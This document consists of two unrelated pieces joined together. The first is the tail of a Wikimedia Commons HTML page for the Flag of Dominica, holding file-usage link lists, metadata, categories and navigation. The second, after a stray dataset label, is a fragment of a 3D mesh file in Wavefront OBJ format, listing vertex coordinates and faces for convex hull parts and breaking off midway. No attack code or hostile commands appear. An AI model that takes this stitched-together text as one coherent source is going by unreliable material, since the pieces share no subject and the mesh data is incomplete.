<li class="mw-imagepage-linkstoimage-ns12"><a href="/wiki/Help:Watchlist_messages/Wizard" title="Help:Watchlist messages/Wizard">Help:Watchlist messages/Wizard</a></li>
<li class="mw-imagepage-linkstoimage-ns14"><a href="/wiki/Category:2005_in_Dominica" title="Category:2005 in Dominica">Category:2005 in Dominica</a></li>
<li class="mw-imagepage-linkstoimage-ns14"><a href="/wiki/Category:2007_in_Dominica" title="Category:2007 in Dominica">Category:2007 in Dominica</a></li>
<li class="mw-imagepage-linkstoimage-ns14"><a href="/wiki/Category:2013_in_Dominica" title="Category:2013 in Dominica">Category:2013 in Dominica</a></li>
<li class="mw-imagepage-linkstoimage-ns14"><a href="/wiki/Category:2013_in_aviation_in_Dominica" title="Category:2013 in aviation in Dominica">Category:2013 in aviation in Dominica</a></li>
<li class="mw-imagepage-linkstoimage-ns14"><a href="/wiki/Category:2017_in_Dominica" title="Category:2017 in Dominica">Category:2017 in Dominica</a></li>
<li class="mw-imagepage-linkstoimage-ns14"><a href="/wiki/Category:2017_in_aviation_in_Dominica" title="Category:2017 in aviation in Dominica">Category:2017 in aviation in Dominica</a></li>
<li class="mw-imagepage-linkstoimage-ns14"><a href="/wiki/Category:Capitaine_Cook_(ship,_1978)" title="Category:Capitaine Cook (ship, 1978)">Category:Capitaine Cook (ship, 1978)</a></li>
<li class="mw-imagepage-linkstoimage-ns14"><a href="/wiki/Category:Dominica" title="Category:Dominica">Category:Dominica</a></li>
<li class="mw-imagepage-linkstoimage-ns14"><a href="/wiki/Category:Fairland_(ship,_1975)" title="Category:Fairland (ship, 1975)">Category:Fairland (ship, 1975)</a></li>
<li class="mw-imagepage-linkstoimage-ns14"><a href="/wiki/Category:Fort_(ship,_1974)" title="Category:Fort (ship, 1974)">Category:Fort (ship, 1974)</a></li>
<li class="mw-imagepage-linkstoimage-ns14"><a href="/wiki/Category:IMO_7349405" title="Category:IMO 7349405">Category:IMO 7349405</a></li>
<li class="mw-imagepage-linkstoimage-ns14"><a href="/wiki/Category:IMO_7516723" title="Category:IMO 7516723">Category:IMO 7516723</a></li>
<li class="mw-imagepage-linkstoimage-ns14"><a href="/wiki/Category:IMO_7632876" title="Category:IMO 7632876">Category:IMO 7632876</a></li>
<li class="mw-imagepage-linkstoimage-ns14"><a href="/wiki/Category:IMO_8211100" title="Category:IMO 8211100">Category:IMO 8211100</a></li>
<li class="mw-imagepage-linkstoimage-ns14"><a href="/wiki/Category:IMO_8800224" title="Category:IMO 8800224">Category:IMO 8800224</a></li>
<li class="mw-imagepage-linkstoimage-ns14"><a href="/wiki/Category:IMO_8972297" title="Category:IMO 8972297">Category:IMO 8972297</a></li>
<li class="mw-imagepage-linkstoimage-ns14"><a href="/wiki/Category:Nor_Cape_(ship,_1988)" title="Category:Nor Cape (ship, 1988)">Category:Nor Cape (ship, 1988)</a></li>
<li class="mw-imagepage-linkstoimage-ns14"><a href="/wiki/Category:SB-1_(ship,_1985)" title="Category:SB-1 (ship, 1985)">Category:SB-1 (ship, 1985)</a></li>
<li class="mw-imagepage-linkstoimage-ns14"><a href="/wiki/Category:Sea_Star_(ship,_1978)" title="Category:Sea Star (ship, 1978)">Category:Sea Star (ship, 1978)</a></li>
<li class="mw-imagepage-linkstoimage-ns14"><a href="/wiki/Category:Vestlandia_(ship,_1983)" title="Category:Vestlandia (ship, 1983)">Category:Vestlandia (ship, 1983)</a></li>
</ul>
</div>
<h2 id="globalusage">File usage on other wikis</h2>
<div id="mw-imagepage-section-globalusage"><p>The following other wikis use this file:
</p><ul>
<li class='mw-gu-onwiki-af_wikipedia_org'>Usage on af.wikipedia.org
<ul> <li><a class="external" href="//af.wikipedia.org/wiki/Noord-Amerika">Noord-Amerika</a></li>
<li><a class="external" href="//af.wikipedia.org/wiki/Britse_Statebond">Britse Statebond</a></li>
<li><a class="external" href="//af.wikipedia.org/wiki/Atlantiese_Oseaan">Atlantiese Oseaan</a></li>
<li><a class="external" href="//af.wikipedia.org/wiki/Lys_van_lande_volgens_bevolking">Lys van lande volgens bevolking</a></li>
<li><a class="external" href="//af.wikipedia.org/wiki/Pan-Afrika_kleure">Pan-Afrika kleure</a></li>
<li><a class="external" href="//af.wikipedia.org/wiki/Lys_van_lande_volgens_bevolkingsdigtheid">Lys van lande volgens bevolkingsdigtheid</a></li>
<li><a class="external" href="//af.wikipedia.org/wiki/Lys_van_lande">Lys van lande</a></li>
<li><a class="external" href="//af.wikipedia.org/wiki/Lys_van_lande_volgens_Menslike_Ontwikkelingsindeks">Lys van lande volgens Menslike Ontwikkelingsindeks</a></li>
<li><a class="external" href="//af.wikipedia.org/wiki/Sjabloon:Landdata_Dominica">Sjabloon:Landdata Dominica</a></li>
<li><a class="external" href="//af.wikipedia.org/wiki/Lys_van_lande_volgens_BBP_(nominaal)_per_capita">Lys van lande volgens BBP (nominaal) per capita</a></li>
<li><a class="external" href="//af.wikipedia.org/wiki/Lys_van_lande_volgens_BBP_(koopkragpariteit)_per_capita">Lys van lande volgens BBP (koopkragpariteit) per capita</a></li>
<li><a class="external" href="//af.wikipedia.org/wiki/Lys_van_lande_volgens_oppervlak">Lys van lande volgens oppervlak</a></li>
<li><a class="external" href="//af.wikipedia.org/wiki/Lys_van_lande_volgens_geletterdheidskoers">Lys van lande volgens geletterdheidskoers</a></li>
<li><a class="external" href="//af.wikipedia.org/wiki/Olimpiese_Somerspele_2008">Olimpiese Somerspele 2008</a></li>
<li><a class="external" href="//af.wikipedia.org/wiki/Olimpiese_Somerspele_2012">Olimpiese Somerspele 2012</a></li>
<li><a class="external" href="//af.wikipedia.org/wiki/Olimpiese_Somerspele_2004">Olimpiese Somerspele 2004</a></li>
<li><a class="external" href="//af.wikipedia.org/wiki/Olimpiese_Somerspele_2000">Olimpiese Somerspele 2000</a></li>
<li><a class="external" href="//af.wikipedia.org/wiki/Olimpiese_Somerspele_1996">Olimpiese Somerspele 1996</a></li>
<li><a class="external" href="//af.wikipedia.org/wiki/Olimpiese_Somerspele_2016">Olimpiese Somerspele 2016</a></li>
<li><a class="external" href="//af.wikipedia.org/wiki/Olimpiese_Winterspele_2014">Olimpiese Winterspele 2014</a></li>
<li><a class="external" href="//af.wikipedia.org/wiki/Lys_van_lande_volgens_lewensverwagting">Lys van lande volgens lewensverwagting</a></li>
<li><a class="external" href="//af.wikipedia.org/wiki/Lys_van_lande_volgens_kuslynlengte">Lys van lande volgens kuslynlengte</a></li>
<li><a class="external" href="//af.wikipedia.org/wiki/Lys_van_IOK-landkodes">Lys van IOK-landkodes</a></li>
<li><a class="external" href="//af.wikipedia.org/wiki/Dominica">Dominica</a></li>
<li><a class="external" href="//af.wikipedia.org/wiki/Kategorie:Dominica">Kategorie:Dominica</a></li>
<li><a class="external" href="//af.wikipedia.org/wiki/Roseau">Roseau</a></li>
<li><a class="external" href="//af.wikipedia.org/wiki/Vlae_van_Noord-Amerika">Vlae van Noord-Amerika</a></li>
<li><a class="external" href="//af.wikipedia.org/wiki/Vlag_van_Dominica">Vlag van Dominica</a></li>
<li><a class="external" href="//af.wikipedia.org/wiki/.dm">.dm</a></li>
<li><a class="external" href="//af.wikipedia.org/wiki/CONCACAF">CONCACAF</a></li>
<li><a class="external" href="//af.wikipedia.org/wiki/Eilandnasie">Eilandnasie</a></li>
<li><a class="external" href="//af.wikipedia.org/wiki/Beweging_van_Onverbonde_Lande">Beweging van Onverbonde Lande</a></li>
<li><a class="external" href="//af.wikipedia.org/wiki/Visumvereistes_vir_Suid-Afrikaanse_burgers">Visumvereistes vir Suid-Afrikaanse burgers</a></li>
<li><a class="external" href="//af.wikipedia.org/wiki/Verspreiding_van_rykdom">Verspreiding van rykdom</a></li>
</ul></li>
<li class='mw-gu-onwiki-als_wikipedia_org'>Usage on als.wikipedia.org
<ul> <li><a class="external" href="//als.wikipedia.org/wiki/Wikipedia:L%C3%A4ndervorlagen_mit_Flagge">Wikipedia:Ländervorlagen mit Flagge</a></li>
<li><a class="external" href="//als.wikipedia.org/wiki/Vorlage:DMA">Vorlage:DMA</a></li>
<li><a class="external" href="//als.wikipedia.org/wiki/Nordamerika">Nordamerika</a></li>
<li><a class="external" href="//als.wikipedia.org/wiki/Dominica">Dominica</a></li>
<li><a class="external" href="//als.wikipedia.org/wiki/Ostkaribischer_Dollar">Ostkaribischer Dollar</a></li>
<li><a class="external" href="//als.wikipedia.org/wiki/Kleine_Antillen">Kleine Antillen</a></li>
<li><a class="external" href="//als.wikipedia.org/wiki/Inselstaat">Inselstaat</a></li>
<li><a class="external" href="//als.wikipedia.org/wiki/Commonwealth_of_Nations">Commonwealth of Nations</a></li>
</ul></li>
<li class='mw-gu-onwiki-am_wikipedia_org'>Usage on am.wikipedia.org
<ul> <li><a class="external" href="//am.wikipedia.org/wiki/%E1%8B%A8%E1%8A%A0%E1%88%88%E1%88%9D_%E1%8A%A0%E1%8C%88%E1%88%AB%E1%89%B5_%E1%8B%9D%E1%88%AD%E1%8B%9D%E1%88%AD">የአለም አገራት ዝርዝር</a></li>
<li><a class="external" href="//am.wikipedia.org/wiki/%E1%8B%B6%E1%88%98%E1%8A%92%E1%8A%AB">ዶመኒካ</a></li>
</ul></li>
<li class='mw-gu-onwiki-ang_wikipedia_org'>Usage on ang.wikipedia.org
<ul> <li><a class="external" href="//ang.wikipedia.org/wiki/Land_%C3%BE%C7%A3re_worulde">Land þǣre worulde</a></li>
</ul></li>
<li class='mw-gu-onwiki-an_wikipedia_org'>Usage on an.wikipedia.org
<ul> <li><a class="external" href="//an.wikipedia.org/wiki/Organizaci%C3%B3n_d%27os_Estatos_Americans">Organización d'os Estatos Americans</a></li>
<li><a class="external" href="//an.wikipedia.org/wiki/Dominica">Dominica</a></li>
<li><a class="external" href="//an.wikipedia.org/wiki/Expo_2008">Expo 2008</a></li>
<li><a class="external" href="//an.wikipedia.org/wiki/Lista_de_capitals_d%27estatos_independients">Lista de capitals d'estatos independients</a></li>
<li><a class="external" href="//an.wikipedia.org/wiki/Chuegos_Panamericans">Chuegos Panamericans</a></li>
</ul></li>
</ul>
<p>View <a href="/wiki/Special:GlobalUsage/Flag_of_Dominica.svg" title="Special:GlobalUsage/Flag of Dominica.svg">more global usage</a> of this file.
</p></div><h2 id="metadata">Metadata</h2>
<div class="mw-imagepage-section-metadata">This file contains additional information such as Exif metadata which may have been added by the digital camera, scanner, or software program used to create or digitize it. If the file has been modified from its original state, some details such as the timestamp may not fully reflect those of the original file. The timestamp is only as accurate as the clock in the camera, and it may be completely wrong.<table id="mw_metadata" class="mw_metadata">
<tr class="exif-objectname"><th>Short title</th><td>Flag of Dominica</td></tr><tr class="exif-imagewidth collapsable"><th>Width</th><td>1200</td></tr><tr class="exif-imagelength collapsable"><th>Height</th><td>600</td></tr></table>
</div>
<noscript><img src="//commons.wikimedia.org/wiki/Special:CentralAutoLogin/start?type=1x1" alt="" title="" width="1" height="1" style="border: none; position: absolute;" /></noscript></div> <div class="printfooter">
Retrieved from "<a dir="ltr" href="https://commons.wikimedia.org/w/index.php?title=File:Flag_of_Dominica.svg&oldid=235840245">https://commons.wikimedia.org/w/index.php?title=File:Flag_of_Dominica.svg&oldid=235840245</a>" </div>
<div id="catlinks" class="catlinks" data-mw="interface"><div id="mw-normal-catlinks" class="mw-normal-catlinks"><a href="/wiki/Special:Categories" title="Special:Categories">Categories</a>: <ul><li><a href="/wiki/Category:Parrots_in_art" title="Category:Parrots in art">Parrots in art</a></li><li><a href="/wiki/Category:Flags_with_ten_five-pointed_stars" title="Category:Flags with ten five-pointed stars">Flags with ten five-pointed stars</a></li><li><a href="/wiki/Category:Flags_with_centered_circles" title="Category:Flags with centered circles">Flags with centered circles</a></li><li><a href="/wiki/Category:SVG_flags_of_Dominica" title="Category:SVG flags of Dominica">SVG flags of Dominica</a></li><li><a href="/wiki/Category:Flags_with_three_crosses" title="Category:Flags with three crosses">Flags with three crosses</a></li><li><a href="/wiki/Category:Flags_with_birds" title="Category:Flags with birds">Flags with birds</a></li><li><a href="/wiki/Category:Flags_with_branches" title="Category:Flags with branches">Flags with branches</a></li><li><a href="/wiki/Category:Amazona_imperialis" title="Category:Amazona imperialis">Amazona imperialis</a></li><li><a href="/wiki/Category:SVG_sovereign_state_flags" title="Category:SVG sovereign state flags">SVG sovereign state flags</a></li></ul></div><div id="mw-hidden-catlinks" class="mw-hidden-catlinks mw-hidden-cats-user-shown">Hidden categories: <ul><li><a href="/wiki/Category:CC-Zero" title="Category:CC-Zero">CC-Zero</a></li><li><a href="/wiki/Category:PD_OpenClipart" title="Category:PD OpenClipart">PD OpenClipart</a></li><li><a href="/wiki/Category:With_insignia" title="Category:With insignia">With insignia</a></li></ul></div></div> <div class="visualClear"></div>
</div>
</div>
<div id="mw-navigation">
<h2>Navigation menu</h2>
<div id="mw-head">
<div id="p-personal" role="navigation" class="" aria-labelledby="p-personal-label">
<h3 id="p-personal-label">Personal tools</h3>
<ul>
<li id="pt-uls" class="active"><a href="#" class="uls-trigger autonym">English</a></li><li id="pt-anonuserpage">Not logged in</li><li id="pt-anontalk"><a href="/wiki/Special:MyTalk" title="Discussion about edits from this IP address [n]" accesskey="n">Talk</a></li><li id="pt-anoncontribs"><a href="/wiki/Special:MyContributions" title="A list of edits made from this IP address [y]" accesskey="y">Contributions</a></li><li id="pt-createaccount"><a href="/w/index.php?title=Special:CreateAccount&returnto=File%3AFlag+of+Dominica.svg" title="You are encouraged to create an account and log in; however, it is not mandatory">Create account</a></li><li id="pt-login"><a href="/w/index.php?title=Special:UserLogin&returnto=File%3AFlag+of+Dominica.svg" title="You are encouraged to log in; however, it is not mandatory [o]" accesskey="o">Log in</a></li> </ul>
</div>
<div id="left-navigation">
<div id="p-namespaces" role="navigation" class="vectorTabs" aria-labelledby="p-namespaces-label">
<h3 id="p-namespaces-label">Namespaces</h3>
<ul>
<li id="ca-nstab-image" class="selected"><span><a href="/wiki/File:Flag_of_Dominica.svg" title="View the file page [c]" accesskey="c">File</a></span></li>
<li id="ca-talk"><span><a href="/wiki/File_talk:Flag_of_Dominica.svg" rel="discussion" title="Discussion about the content page [t]" accesskey="t">Discussion</a></span></li>
</ul>
</div>
<div id="p-variants" role="navigation" class="vectorMenu emptyPortlet" aria-labelledby="p-variants-label">
<h3 id="p-variants-label">
<span>Variants</span>
</h3>
<div class="menu">
<ul>
</ul>
</div>
</div>
</div>
<div id="right-navigation">
<div id="p-views" role="navigation" class="vectorTabs" aria-labelledby="p-views-label">
<h3 id="p-views-label">Views</h3>
<ul>
<li id="ca-view" class="selected"><span><a href="/wiki/File:Flag_of_Dominica.svg">View</a></span></li>
<li id="ca-edit"><span><a href="/w/index.php?title=File:Flag_of_Dominica.svg&action=edit" title="Edit this page [e]" accesskey="e">Edit</a></span></li>
<li id="ca-history" class="collapsible"><span><a href="/w/index.php?title=File:Flag_of_Dominica.svg&action=history" title="Past revisions of this page [h]" accesskey="h">History</a></span></li>
</ul>
</div>
<div id="p-cactions" role="navigation" class="vectorMenu emptyPortlet" aria-labelledby="p-cactions-label">
<h3 id="p-cactions-label"><span>More</span></h3>
<div class="menu">
<ul>
</ul>
</div>
</div>
<div id="p-search" role="search">
<h3>
<label for="searchInput">Search</label>
</h3>
<form action="/w/index.php" id="searchform">
<div id="simpleSearch">
<input type="search" name="search" placeholder="Search Wikimedia Commons" title="Search Wikimedia Commons [f]" accesskey="f" id="searchInput"/><input type="hidden" value="Special:Search" name="title"/><input type="submit" name="fulltext" value="Search" title="Search the pages for this text" id="mw-searchButton" class="searchButton mw-fallbackSearchButton"/><input type="submit" name="go" value="Go" title="Go to a page with this exact name if it exists" id="searchButton" class="searchButton"/> </div>
</form>
</div>
</div>
</div>
<div id="mw-panel">
<div id="p-logo" role="banner"><a class="mw-wiki-logo" href="/wiki/Main_Page" title="Visit the main page"></a></div>
<div class="portal" role="navigation" id='p-navigation' aria-labelledby='p-navigation-label'>
<h3 id='p-navigation-label'>Navigate</h3>
<div class="body">
<ul>
<li id="n-mainpage-description"><a href="/wiki/Main_Page" title="Visit the main page [z]" accesskey="z">Main page</a></li><li id="n-welcome"><a href="/wiki/Commons:Welcome">Welcome</a></li><li id="n-portal"><a href="/wiki/Commons:Community_portal" title="About the project, what you can do, where to find things">Community portal</a></li><li id="n-village-pump"><a href="/wiki/Commons:Village_pump">Village pump</a></li><li id="n-help"><a href="/wiki/Special:MyLanguage/Help:Contents" title="The place to find out">Help center</a></li> </ul>
</div>
</div>
<div class="portal" role="navigation" id='p-participate' aria-labelledby='p-participate-label'>
<h3 id='p-participate-label'>Participate</h3>
<div class="body">
<ul>
<li id="n-uploadbtn"><a href="/wiki/Commons:Upload">Upload file</a></li><li id="n-recentchanges"><a href="/wiki/Special:RecentChanges" title="A list of recent changes in the wiki [r]" accesskey="r">Recent changes</a></li><li id="n-latestfiles"><a href="/wiki/Special:NewFiles">Latest files</a></li><li id="n-randomimage"><a href="/wiki/Special:Random/File" title="Load a random file [x]" accesskey="x">Random file</a></li><li id="n-contact"><a href="/wiki/Commons:Contact_us">Contact us</a></li> </ul>
</div>
</div>
<div class="portal" role="navigation" id='p-electronPdfService-sidebar-portlet-heading' aria-labelledby='p-electronPdfService-sidebar-portlet-heading-label'>
<h3 id='p-electronPdfService-sidebar-portlet-heading-label'>Print/export</h3>
<div class="body">
<ul>
<li id="electron-print_pdf"><a href="/w/index.php?title=Special:ElectronPdf&page=File%3AFlag+of+Dominica.svg&action=redirect-to-electron">Download as PDF</a></li> </ul>
</div>
</div>
<div class="portal" role="navigation" id='p-tb' aria-labelledby='p-tb-label'>
<h3 id='p-tb-label'>Tools</h3>
<div class="body">
<ul>
<li id="t-whatlinkshere"><a href="/wiki/Special:WhatLinksHere/File:Flag_of_Dominica.svg" title="A list of all wiki pages that link here [j]" accesskey="j">What links here</a></li><li id="t-recentchangeslinked"><a href="/wiki/Special:RecentChangesLinked/File:Flag_of_Dominica.svg" rel="nofollow" title="Recent changes in pages linked from this page [k]" accesskey="k">Related changes</a></li><li id="t-specialpages"><a href="/wiki/Special:SpecialPages" title="A list of all special pages [q]" accesskey="q">Special pages</a></li><li id="t-permalink"><a href="/w/index.php?title=File:Flag_of_Dominica.svg&oldid=235840245" title="Permanent link to this revision of the page">Permanent link</a></li><li id="t-info"><a href="/w/index.php?title=File:Flag_of_Dominica.svg&action=info" title="More information about this page">Page information</a></li><li id="t-cite"><a href="/w/index.php?title=Special:CiteThisPage&page=File%3AFlag_of_Dominica.svg&id=235840245" title="Information on how to cite this page">Cite this page</a></li> </ul>
</div>
</div>
</div>
</div>
<div id="footer" role="contentinfo">
<ul id="footer-info">
<li id="footer-info-lastmod"> This page was last edited on 3 March 2017, at 15:09.</li>
<li id="footer-info-copyright">Text is available under the <a href="//creativecommons.org/licenses/by-sa/3.0/">Creative Commons Attribution-ShareAlike License</a>; additional terms may apply. By using this site, you agree to the <a href="//wikimediafoundation.org/wiki/Terms_of_Use">Terms of Use</a> and <a href="//wikimediafoundation.org/wiki/Privacy_policy">Privacy Policy.</a></li>
</ul>
<ul id="footer-places">
<li id="footer-places-privacy"><a href="https://wikimediafoundation.org/wiki/Privacy_policy" class="extiw" title="wmf:Privacy policy">Privacy policy</a></li>
<li id="footer-places-about"><a href="/wiki/Commons:Welcome" title="Commons:Welcome">About Wikimedia Commons</a></li>
<li id="footer-places-disclaimer"><a href="/wiki/Commons:General_disclaimer" title="Commons:General disclaimer">Disclaimers</a></li>
<li id="footer-places-developers"><a href="https://www.mediawiki.org/wiki/Special:MyLanguage/How_to_contribute">Developers</a></li>
<li id="footer-places-cookiestatement"><a href="https://wikimediafoundation.org/wiki/Cookie_statement">Cookie statement</a></li>
<li id="footer-places-mobileview"><a href="//commons.m.wikimedia.org/w/index.php?title=File:Flag_of_Dominica.svg&mobileaction=toggle_view_mobile" class="noprint stopMobileRedirectToggle">Mobile view</a></li>
</ul>
<ul id="footer-icons" class="noprint">
<li id="footer-copyrightico">
<a href="https://wikimediafoundation.org/"><img src="/static/images/wikimedia-button.png" srcset="/static/images/wikimedia-button-1.5x.png 1.5x, /static/images/wikimedia-button-2x.png 2x" width="88" height="31" alt="Wikimedia Foundation"/></a> </li>
<li id="footer-poweredbyico">
<a href="//www.mediawiki.org/"><img src="/static/images/poweredby_mediawiki_88x31.png" alt="Powered by MediaWiki" srcset="/static/images/poweredby_mediawiki_132x47.png 1.5x, /static/images/poweredby_mediawiki_176x62.png 2x" width="88" height="31"/></a> </li>
</ul>
<div style="clear:both"></div>
</div>
<script>(window.RLQ=window.RLQ||[]).push(function(){mw.config.set({"wgPageParseReport":{"limitreport":{"cputime":"0.112","walltime":"0.153","ppvisitednodes":{"value":1592,"limit":1000000},"ppgeneratednodes":{"value":0,"limit":1500000},"postexpandincludesize":{"value":39058,"limit":2097152},"templateargumentsize":{"value":10507,"limit":2097152},"expansiondepth":{"value":11,"limit":40},"expensivefunctioncount":{"value":2,"limit":500},"entityaccesscount":{"value":0,"limit":400},"timingprofile":["100.00% 121.095 1 -total"," 57.84% 70.039 1 Template:Information"," 37.35% 45.228 2 Template:Autotranslate"," 24.03% 29.103 1 Template:PD-OpenClipart"," 22.77% 27.569 1 Template:ISOdate"," 17.80% 21.552 1 Template:Insignia"," 15.05% 18.219 1 Template:PD-OpenClipart/layout"," 11.33% 13.725 1 Template:Insignia/layout"," 10.18% 12.324 1 Template:Non-copyright_restriction"," 5.89% 7.137 1 Template:PD-OpenClipart/lang"]},"scribunto":{"limitreport-timeusage":{"value":"0.037","limit":"10.000"},"limitreport-memusage":{"value":879295,"limit":52428800}},"cachereport":{"origin":"mw1273","timestamp":"20170901040300","ttl":1900800,"transientcontent":false}}});});</script><script>(window.RLQ=window.RLQ||[]).push(function(){mw.config.set({"wgBackendResponseTime":121,"wgHostname":"mw1242"});});</script>
</body>
</html>
| {
"pile_set_name": "Github"
} |
o convex_0
v 1.011044 0.832566 0.672317
v -1.275438 0.961081 0.055869
v -1.275438 0.961081 0.107173
v -0.042060 -3.252209 0.030117
v 0.728314 0.986700 -0.843050
v -0.864149 -1.941436 0.749373
v -0.812921 -0.426549 -0.843050
v 0.831258 -2.121189 0.723822
v -0.633135 1.038358 0.852181
v 0.497299 -2.018293 -0.637634
v 1.216688 1.038358 0.081622
v -0.787063 -2.609632 -0.098041
v 0.137483 -0.195138 1.032247
v -0.838535 1.038358 -0.817499
v -0.042060 -2.506315 -0.765994
v 0.754172 -2.532355 -0.123794
v 0.754172 -0.323653 -0.868802
v -0.067674 -0.323653 -1.023115
v -0.042060 -2.506315 0.775125
v -0.787063 0.189989 0.929438
v 0.779786 0.986700 0.852181
v 0.779786 0.010235 0.954989
v -1.172493 1.038358 0.441149
v -1.069793 -0.477368 -0.354962
v 0.985430 -0.605883 -0.354962
v -0.864149 -2.146808 0.698069
v -0.607277 -2.018713 -0.586129
v 0.471441 1.038358 -0.894353
v 1.216688 1.038358 0.338341
v -1.198107 1.038358 -0.277906
v -0.093532 -0.298034 1.032247
v 0.985430 1.038358 -0.509073
v -0.119146 1.038358 0.903686
v -0.504576 1.038358 -0.894554
v 0.111869 -3.174932 -0.020784
v 0.779786 -2.481116 0.081420
v 0.831258 -2.044332 0.749373
v 0.008924 -2.506315 -0.765994
v -0.967093 -1.350517 -0.252153
v 0.034782 -0.092241 -1.023115
v -0.812921 -0.323653 0.903686
v 0.008924 -2.172847 0.826630
v -0.812921 1.038358 0.826429
v -1.249580 0.986700 0.312789
v 1.216688 0.909423 0.287037
v 0.137483 -3.097654 0.132925
v -1.095407 0.935042 -0.483321
v 0.008924 -0.041003 1.032247
v 0.599999 -1.684825 -0.663387
v 1.088130 0.961081 -0.303658
v 0.805400 -2.224086 -0.149345
v -0.042060 -3.123693 -0.149345
v -0.812921 -2.506735 0.132925
v 0.008924 -0.323653 -1.023115
v 0.856872 -1.967475 0.723822
v 1.088130 1.038358 0.569508
v -0.761449 -0.349272 -0.868802
v -1.069793 0.883804 0.595462
v 0.805400 1.038358 -0.791746
v -0.247704 -2.404259 0.775125
v 0.266041 -2.378220 0.775125
v 0.111869 1.038358 0.903686
v -0.093532 -0.117860 -1.023115
v 0.008924 -0.374891 1.032247
f 42 61 64
f 9 11 14
f 1 21 22
f 9 14 23
f 3 2 26
f 12 7 27
f 7 15 27
f 15 12 27
f 14 11 28
f 11 9 29
f 2 3 30
f 23 14 30
f 24 2 30
f 28 11 32
f 9 20 33
f 29 9 33
f 14 28 34
f 35 16 36
f 22 13 37
f 10 16 38
f 15 18 38
f 16 35 38
f 7 12 39
f 2 24 39
f 24 7 39
f 26 2 39
f 5 17 40
f 28 5 40
f 34 28 40
f 6 31 41
f 31 20 41
f 20 9 43
f 9 23 43
f 6 23 44
f 3 26 44
f 26 6 44
f 30 3 44
f 23 30 44
f 25 11 45
f 11 29 45
f 19 4 46
f 4 35 46
f 35 36 46
f 36 8 46
f 14 7 47
f 7 24 47
f 30 14 47
f 24 30 47
f 13 22 48
f 22 21 48
f 31 13 48
f 20 31 48
f 33 20 48
f 16 10 49
f 10 38 49
f 38 17 49
f 11 25 50
f 25 17 50
f 17 32 50
f 32 11 50
f 17 25 51
f 36 16 51
f 25 45 51
f 45 36 51
f 16 49 51
f 49 17 51
f 4 12 52
f 12 15 52
f 35 4 52
f 15 38 52
f 38 35 52
f 12 4 53
f 4 26 53
f 39 12 53
f 26 39 53
f 17 38 54
f 38 18 54
f 40 17 54
f 18 40 54
f 1 22 55
f 8 36 55
f 37 8 55
f 22 37 55
f 45 29 55
f 36 45 55
f 21 1 56
f 29 33 56
f 1 55 56
f 55 29 56
f 7 14 57
f 15 7 57
f 18 15 57
f 23 6 58
f 6 41 58
f 41 20 58
f 20 43 58
f 43 23 58
f 17 5 59
f 5 28 59
f 32 17 59
f 28 32 59
f 4 19 60
f 6 26 60
f 26 4 60
f 31 6 60
f 19 42 60
f 42 31 60
f 8 37 61
f 42 19 61
f 19 46 61
f 46 8 61
f 48 21 62
f 33 48 62
f 21 56 62
f 56 33 62
f 14 34 63
f 40 18 63
f 34 40 63
f 57 14 63
f 18 57 63
f 13 31 64
f 37 13 64
f 31 42 64
f 61 37 64
o convex_1
v 1.242380 1.654821 -0.329335
v 1.396819 2.143017 0.004553
v 1.396819 2.143017 -0.021114
v 3.015130 1.706210 0.030220
v 1.242380 1.141225 0.287108
v 1.242380 1.988850 0.287108
v 1.268409 1.346781 -0.252261
v 2.758137 1.731905 0.210034
v 2.732455 1.808988 -0.175188
v 1.242380 2.091628 -0.303668
v 2.783819 1.526643 -0.021114
v 2.758137 1.937461 0.055887
v 1.294091 1.552337 0.364181
v 1.268409 1.141225 0.030220
v 1.268409 1.860377 -0.380742
v 2.655409 1.680516 -0.175188
v 2.783819 1.680516 0.210034
v 2.038868 1.963156 0.210034
v 2.552334 1.937461 -0.123854
v 1.294091 1.141225 0.287108
v 1.242380 2.143017 0.030220
v 2.758137 1.526643 0.030220
v 2.013186 1.757599 -0.277928
v 2.655409 1.963156 0.004553
v 1.294091 2.091628 -0.303668
v 1.294091 2.040239 0.235701
v 1.268409 1.500948 0.364181
v 1.242380 1.346781 -0.252261
v 2.989101 1.757599 -0.021114
v 1.371137 1.963156 0.287108
v 2.604045 1.578032 -0.123854
v 2.500970 1.886072 0.184367
v 1.294091 1.963156 -0.355002
v 2.758137 1.937461 0.004553
v 1.268409 2.143017 -0.123854
v 2.604045 1.808988 -0.200928
v 2.989101 1.757599 0.055887
v 1.550737 1.449559 -0.252261
v 2.835183 1.731905 -0.123854
v 1.345455 2.143017 0.030220
v 2.629727 1.963156 0.055887
f 104 82 105
f 65 69 70
f 65 70 74
f 71 75 78
f 71 65 79
f 65 74 79
f 72 77 81
f 69 78 84
f 78 75 84
f 66 67 85
f 74 70 85
f 75 68 86
f 68 81 86
f 84 75 86
f 81 84 86
f 67 66 88
f 88 83 89
f 83 73 89
f 70 82 90
f 85 70 90
f 70 69 91
f 77 70 91
f 81 77 91
f 69 84 91
f 84 81 91
f 69 65 92
f 65 71 92
f 78 69 92
f 71 78 92
f 70 77 94
f 77 72 94
f 82 70 94
f 72 82 94
f 75 71 95
f 71 80 95
f 80 75 95
f 72 76 96
f 82 72 96
f 76 82 96
f 79 74 97
f 74 89 97
f 73 83 98
f 88 76 98
f 83 88 98
f 76 93 98
f 93 73 98
f 85 67 99
f 74 85 99
f 67 88 99
f 88 89 99
f 89 74 99
f 73 80 100
f 87 79 100
f 80 87 100
f 89 73 100
f 79 97 100
f 97 89 100
f 76 72 101
f 81 68 101
f 72 81 101
f 68 93 101
f 93 76 101
f 71 79 102
f 80 71 102
f 79 87 102
f 87 80 102
f 68 75 103
f 80 73 103
f 75 80 103
f 93 68 103
f 73 93 103
f 66 85 104
f 90 82 104
f 85 90 104
f 82 76 105
f 88 66 105
f 76 88 105
f 66 104 105
o convex_2
v -1.327020 1.192526 -0.175213
v -1.301296 2.117423 0.055884
v -1.301296 2.065971 0.158653
v -2.996803 1.783243 0.030192
v -1.301296 1.089931 0.287113
v -1.301296 1.834695 -0.329365
v -2.765281 1.757569 -0.200905
v -2.585540 1.757569 0.235729
v -2.791005 1.526706 0.004566
v -2.713997 1.988948 0.004566
v -1.301296 1.629094 0.338497
v -1.378470 2.014519 -0.226597
v -1.506927 1.988948 0.261421
v -1.301296 1.064050 0.004566
v -1.352745 1.295429 -0.252289
v -2.739722 1.706220 0.210037
v -2.636823 1.552380 -0.123829
v -2.559815 1.937496 0.158653
v -1.327020 1.398230 0.338497
v -2.508531 1.911719 -0.149521
v -2.765281 1.526706 0.055884
v -1.327020 1.064050 0.235729
v -1.404194 2.117423 0.004566
v -1.995033 1.988948 0.210037
v -1.301296 1.937496 0.287113
v -2.713997 1.809021 0.210037
v -2.765281 1.731998 -0.200905
v -1.327020 1.783243 -0.329365
